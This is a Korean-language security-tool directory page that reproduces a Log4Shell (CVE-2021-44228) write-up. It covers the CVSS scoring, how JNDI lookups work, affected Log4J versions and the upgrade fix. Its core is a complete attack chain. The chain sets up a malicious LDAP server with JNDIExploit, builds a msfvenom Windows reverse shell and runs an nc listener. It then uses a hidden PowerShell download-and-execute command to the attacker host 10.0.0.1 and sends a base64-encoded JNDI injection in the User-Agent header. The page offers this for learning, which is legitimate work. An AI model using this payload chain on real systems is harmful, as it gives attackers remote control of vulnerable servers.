Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-44228 — Log4Shell (CVE-2021-44228): 설명, 익스플로잇 및 완화 | Kitploit
도구/GitHubGitHub/zaneef/cve-2021-44228
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationCommand and ControlLearning & Education
GitHubzaneef/cve-2021-44228

CVE-2021-44228

Log4Shell (CVE-2021-44228): 설명, 익스플로잇 및 완화

저장소 보기
24년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-44228

2021년 12월 9일, 세계는 Log4J 관련 새로운 보안 결함을 알게 되었습니다. 이 취약점의 CVSSv3 (Common Vulnerability Scoring System) 점수는 10으로 평가되어 치명적 수준입니다(https://nvd.nist.gov/vuln/detail/CVE-2021-44228).

CVSSv3

해당 CVSSv3 벡터는 다음과 같습니다: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.

평가 이유를 완전히 이해할 수 있도록 각 값에 대해 설명하겠습니다:

  • AV:N (Attack Vector: Network): 공격 벡터는 네트워크이므로, 취약한 장치는 원격에서 악용될 수 있습니다.
  • AC:L (Attack Complexity: Low): 공격 복잡도가 낮으므로 취약점이나 작동 방식에 대한 지식이 거의 없거나 기술이 부족한 공격자도 수행할 수 있습니다.
  • PR:N (Privileges Required: None): 시스템 내에서 어떤 권한도 필요하지 않습니다.
  • UI:N (User Interaction: None): 사용자의 상호작용 없이도 시스템이 취약합니다.
  • S:C (Scope: Changed)
  • C:H (Confidentiality: High): 시스템 내 정보의 기밀성이 완전히 손상됩니다. 이는 데이터의 완전한 비밀 유지 상실과 공격자에 대한 정보 유출로 이어집니다.
  • I:H (Integrity: High): 시스템 내 정보의 무결성이 완전히 손상됩니다. 공격자는 모든 파일을 수정하거나 삭제할 수 있습니다.
  • A:H (Availability: High): 공격자는 정보나 시스템 서비스에 대한 접근을 완전히 차단할 수 있습니다.

Log4J란 무엇인가요?

Log4J는 Java 라이브러리로, 현재 Apache Software Foundation 프로젝트의 일부이며 애플리케이션의 상태를 모니터링할 수 있게 해줍니다.

Java 애플리케이션 로깅의 사실상 표준입니다.

어떻게 작동하나요?

이 취약점은 JNDI(Java Naming and Directory Interface)를 기반으로 합니다. JNDI는 애플리케이션이 외부 디렉터리 서비스(예: LDAP)와 상호작용할 수 있게 해주는 Java API입니다.

상호작용은 Log4J의 기본 구성에서 활성화된 JNDI의 lookup 기능을 통해 이루어지며, 원격 서버와의 상호작용을 가능하게 합니다.

Log4J Exploitation을 통한 TCP Reverse Shell

독해에 도움이 되는 몇 가지 참고 사항:

  • 공격자 머신의 IP는 10.0.0.1입니다.
  • Log4Shell에 취약한 머신의 IP는 10.0.0.2입니다.
  • 취약한 머신의 운영 체제는 Windows이며 아키텍처는 x86입니다.
  • 취약한 머신은 80번 포트에서 웹 애플리케이션을 실행 중이며, http://hackme.com URL로 접속할 수 있습니다.
❗ 주의 ❗
아래에 설명된 공격 기술은 해당 취약점의 실제 위험성을 이해하는 데에만 도움이 되어야 합니다. 저자는 이 글의 부적절한 사용을 거부하며 비난합니다.

이 공격의 목표는 Log4Shell을 악용하여 취약한 시스템에 reverse shell을 다운로드 및 실행시켜 완전한 제어권을 얻는 것입니다.

1. 공격자 머신 구성

  1. 악성 LDAP 서버 초기화에 필요한 코드가 포함된 저장소를 다운로드합니다.
root@kitploit:~
wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 10.0.0.1 -p 2222
  1. msfvenom을 사용하여 Windows용 TCP reverse shell을 생성합니다. 이렇게 하면 8888번 포트에서 원격 머신 접근을 받을 수 있습니다.
root@kitploit:~
msfvenom -p windows/shell/reverse_tcp LHOST=10.0.0.1 LPORT=8888 -f exe > payload.exe
  1. nc를 사용하여 8888번 포트에서 listener를 초기화하여 취약한 머신에 업로드된 reverse shell의 연결을 받습니다.
root@kitploit:~
nc -lvnp 8888
  1. 공격 머신에서 HTTP 서버를 실행하여 대상 머신이 악성코드를 다운로드할 수 있도록 합니다.
root@kitploit:~
python3 -m http.server 4444
  1. 다음 Powershell 명령어를 통해 공격자는 자신의 HTTP 서버에 연결하고, 악성코드를 C:\windows\temp 디렉토리에 다운로드한 후 실행할 수 있습니다.
root@kitploit:~
powershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")
  1. 이전 페이로드를 base64로 인코딩합니다.
root@kitploit:~
echo 'powershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")' | base64

위 명령의 결과는 다음과 같습니다.

root@kitploit:~
cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=

2. Exploit

  1. 웹 애플리케이션이 방문자의 User-Agent를 기록한다고 가정합니다. 공격자는 다음과 유사한 요청을 보냅니다:
root@kitploit:~
GET / HTTP/1.1
Host: hackme.com
User-Agent: ${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=}
  1. 다음 문자열
root@kitploit:~
${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=}

는 Log4J에 전달되어 해석되고, JNDI를 통해 공격자의 LDAP 서버로 요청을 보냅니다.

root@kitploit:~
ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=
  1. 악성코드가 다운로드되어 실행됩니다.

  2. 공격자는 8888번 포트에서 머신의 쉘을 획득합니다.

취약한가요?

우선, 이 취약점은 Java 또는 그 파생 제품(그리고 당연히 Log4J를 로깅 라이브러리로 사용하는 경우)을 사용하는 소프트웨어에만 해당된다는 점을 기억해야 합니다.

  • 2.0-beta9 - 2.14.1: Log4Shell에 취약한 버전은 2.0-beta9부터 2.14.1까지입니다.
  • 2.15.0: Log4J 2.15.0 버전이 취약한 것으로 밝혀졌습니다. CVE-2021-45046. 현재 취약점 평가는 "9.0 Critical"입니다.
  • 2.16.0: Log4J 2.16.0 버전이 취약한 것으로 밝혀졌습니다. CVE-2021-45105. 현재 취약점 평가는 "7.5 High"입니다.

Log4J의 1.x 버전은 해당 보안 결함에 직접적으로 취약하지는 않지만, 2015년에 폐기되었을 뿐만 아니라 다음 취약점의 영향을 받습니다: CVE-2021-4104.

어떻게 해결할 수 있나요?

가장 좋은 해결책은 Log4J를 2.17.0 버전으로 업데이트하는 것입니다.

도구 다운로드